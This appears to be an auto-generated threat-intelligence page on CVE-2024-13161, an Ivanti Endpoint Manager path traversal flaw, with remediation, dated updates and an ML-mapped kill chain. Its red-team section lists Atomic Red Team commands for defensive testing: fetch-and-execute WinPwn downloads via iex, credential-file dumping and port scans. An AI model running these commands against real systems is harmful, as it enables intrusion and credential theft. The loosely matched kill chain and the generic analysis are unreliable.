CVE-2024-13161

HIGH CISA KEV Pub 14/01 Upd 21/10

Overview

This vulnerability is an absolute path traversal flaw within Ivanti Endpoint Manager's input validation mechanisms. The root cause lies in improper sanitization of user-supplied parameters that allow specifying arbitrary file paths. The affected component is the GetHashForSingleFile endpoint within the WSVulnerabilityCore service, which processes file path inputs without adequate restriction, enabling unauthorized path referencing.

Vulnerability Description

Absolute path traversal in Ivanti EPM before the 2024 January-2025 Security Update and 2022 SU6 January-2025 Security Update allows a remote unauthenticated attacker to leak sensitive information.

Impact

An unauthenticated attacker can exploit this vulnerability to coerce the Ivanti Endpoint Manager server into authenticating to an attacker-controlled machine, thereby capturing machine account credentials through NTLM relay or man-in-the-middle attacks. This can lead to credential theft and unauthorized lateral movement within the target network. No prior authentication or user interaction is necessary, significantly increasing the attack surface. The compromise of these credentials can result in sensitive information disclosure and potential full system compromise.

Solution

Ivanti has released security updates addressing this vulnerability in the Ivanti Endpoint Manager 2024 January-2025 Security Update and the 2022 SU6 January-2025 Security Update. Administrators should apply these specific patches promptly. Detailed remediation instructions and advisory information are available at Ivanti's official security advisory page: https://forums.ivanti.com/s/article/Security-Advisory-EPM-January-2025-for-EPM-2024-and-EPM-2022-SU6.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability present in Ivanti Endpoint Manager is characterized by an absolute path traversal flaw that allows an unauthenticated remote attacker to access sensitive information stored on the server. This type of vulnerability arises when an application does not properly validate user input, allowing an attacker to manipulate file paths in a way that exposes files outside of the intended directory. In this case, the flaw exists in the way the application handles file requests, permitting attackers to traverse the file system and access confidential data that should otherwise be restricted. The severity of this vulnerability is underscored by its high CVSS score of 7.5, indicating a significant risk to affected systems.

Exploitation of this vulnerability can occur through various attack vectors. An attacker could craft a malicious request that includes directory traversal sequences, such as "../", to navigate the file structure of the server. By sending such requests to the vulnerable application, the attacker could potentially retrieve sensitive files, including configuration files, user credentials, or other critical data. The lack of authentication requirements for this attack vector significantly lowers the barrier for exploitation, making it accessible to a wide range of malicious actors. Scenarios may include targeted attacks against organizations using Ivanti Endpoint Manager, where the attacker seeks to gather intelligence for further attacks or to exploit the leaked information for financial gain or reputational damage.

The real-world impact of this vulnerability can be profound, particularly for organizations that rely on Ivanti Endpoint Manager for endpoint security and management. The leakage of sensitive information can lead to unauthorized access to corporate networks, data breaches, and compliance violations, especially if personal data or proprietary information is exposed. Furthermore, the reputational damage stemming from such incidents can result in loss of customer trust and potential legal ramifications. The business risk is compounded by the potential for attackers to leverage the information obtained through exploitation to launch more sophisticated attacks, such as ransomware or targeted phishing campaigns.

To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating the Ivanti Endpoint Manager to the latest security patches is crucial, as the vendor has released updates to address this flaw. Additionally, organizations should conduct routine security assessments and penetration testing to identify and remediate vulnerabilities in their systems proactively. Employing web application firewalls (WAF) can help filter and monitor HTTP requests, blocking malicious attempts to exploit path traversal vulnerabilities. Furthermore, implementing strict access controls and monitoring for unusual access patterns can enhance the security posture and reduce the likelihood of successful exploitation.

In conclusion, the absolute path traversal vulnerability in Ivanti Endpoint Manager presents a significant threat to organizations utilizing this software. The potential for unauthorized access to sensitive information poses serious risks, including data breaches and reputational damage. By understanding the technical details of the vulnerability, recognizing the various attack vectors, and implementing robust detection and mitigation strategies, organizations can better protect themselves against the risks associated with this and similar vulnerabilities. Continuous vigilance and proactive security measures are essential in safeguarding sensitive data and maintaining the integrity of organizational systems.




CSURFACE threat intelligence has identified a modest but clear uptick in detection activity related to CVE-2024-13161, indicating increased probing or exploitation attempts targeting Ivanti Endpoint Manager. While the overall exploit landscape remains unchanged with no new public exploit code or ransomware associations detected, the observed rise in telemetry suggests adversaries are intensifying reconnaissance or initial access efforts leveraging this absolute path traversal vulnerability. This development is significant as it may presage broader exploitation campaigns or targeted intrusions, heightening the urgency for defenders to maintain vigilant monitoring. Although the EPSS score remains high and stable, the incremental increase in sightings signals a potential shift in attacker behavior that could elevate risk if exploitation techniques mature or become weaponized. Consequently, this trend warrants close observation to detect any escalation that might impact organizational security posture.



Update 2 — May 20, 2026

CSURFACE threat intelligence has identified a critical reassessment of CVE-2024-13161’s severity, reflected by an upward revision of its CVSS score from 7.5 to 9.8. This adjustment aligns with its recent inclusion in the Known Exploited Vulnerabilities (KEV) catalog, signaling heightened recognition of its exploitation potential. Despite a notable reduction in detection activity across our telemetry, the vulnerability’s persistent high EPSS score near the 1.00th percentile underscores ongoing risk. Importantly, the emergence of a ransomware group association—previously unreported—indicates that threat actors are beginning to integrate this absolute path traversal flaw into their operational toolkit, elevating its threat profile. While no new exploit techniques have surfaced, this development suggests a strategic shift that could facilitate more targeted or opportunistic attacks leveraging this vulnerability. Defenders should interpret these changes as an escalation in the adversarial interest and potential impact, warranting sustained vigilance despite the current downturn in observable exploitation attempts.



Update 3 — June 07, 2026

CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2024-13161, with our telemetry indicating a significant increase in detection events. This uptick corresponds with a slight rise in the EPSS score, reflecting growing adversarial interest and potential exploitation attempts in the wild. Although no new ransomware group associations or exploit techniques have been identified, the increased detection frequency suggests that threat actors are actively probing or leveraging this vulnerability more aggressively. For defenders, this signals a heightened risk environment where the likelihood of successful information disclosure attacks has increased, necessitating closer monitoring of network traffic and endpoint behavior. The overall threat level for CVE-2024-13161 should be considered elevated due to this surge in activity, even as the exploit landscape remains stable without novel attack vectors emerging.



Update 4 — June 15, 2026

Following the recent adjustment to the CVSS score for CVE-2024-13161 from 9.8 to 7.5, CSURFACE threat intelligence notes a corresponding slight decline in the EPSS score, reflecting a modest reduction in the probability of widespread exploitation. This recalibration aligns with updated vulnerability assessments that suggest the absolute path traversal flaw, while still critical, poses a somewhat lower risk of immediate, high-impact compromise than initially estimated. Our telemetry continues to show no emergence of new exploit techniques or confirmed ransomware group activity exploiting this vulnerability, reinforcing the view that active exploitation remains limited. However, the inclusion of this vulnerability in the KEV catalog with a near-term due date for remediation underscores its relevance in the threat landscape and the necessity for ongoing vigilance. For defenders, this means that while the urgency to address the vulnerability remains, the overall threat level is now more accurately characterized as high but not critical, allowing for prioritized but measured response efforts. The stable exploit landscape combined with the downward trend in EPSS suggests that exploitation attempts are not rapidly escalating, providing a window for organizations to implement mitigations without immediate crisis.

Affected Products (9)

Vendor Product Version CPE
ivanti Ivanti Endpoint Manager All cpe:2.3:a:ivanti:endpoint_manager:*:-:*:*:*:*:*:*
ivanti Ivanti Endpoint Manager 2022 cpe:2.3:a:ivanti:endpoint_manager:2022:-:*:*:*:*:*:*
ivanti Ivanti Endpoint Manager 2022 cpe:2.3:a:ivanti:endpoint_manager:2022:su1:*:*:*:*:*:*
ivanti Ivanti Endpoint Manager 2022 cpe:2.3:a:ivanti:endpoint_manager:2022:su2:*:*:*:*:*:*
ivanti Ivanti Endpoint Manager 2022 cpe:2.3:a:ivanti:endpoint_manager:2022:su3:*:*:*:*:*:*
ivanti Ivanti Endpoint Manager 2022 cpe:2.3:a:ivanti:endpoint_manager:2022:su4:*:*:*:*:*:*
ivanti Ivanti Endpoint Manager 2022 cpe:2.3:a:ivanti:endpoint_manager:2022:su5:*:*:*:*:*:*
ivanti Ivanti Endpoint Manager 2022 cpe:2.3:a:ivanti:endpoint_manager:2022:su6:*:*:*:*:*:*
ivanti Ivanti Endpoint Manager 2024 cpe:2.3:a:ivanti:endpoint_manager:2024:-:*:*:*:*:*:*

Exploits

No exploits found for this CVE.

Exploited in Wild CONFIRMED
Ransomware IN USE
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

15 events
2026-06-30
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-27
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-17
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-31
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-29
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-27
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-17
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-15
Exploited by 0apt

Ransomware group known to exploit this vulnerability

2026-04-18
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-10
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-04
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-11
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2025-03-10
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Path Traversal
100% path_traversal
Information Disclosure
51% info_disclosure

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-597 Absolute Path Traversal
36%

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (4)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2024-13161
forums.ivanti.com
GitHub CVE
https://forums.ivanti.com/s/article/Security-Advisory-EPM-January-2025-for-EPM-2024-and-EPM-2022-SU6
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-13161
horizon3.ai
NVD API Exploit Third Party Advisory
https://www.horizon3.ai/attack-research/attack-blogs/ivanti-endpoint-manager-multiple-credential-coercion-vulnerabilities/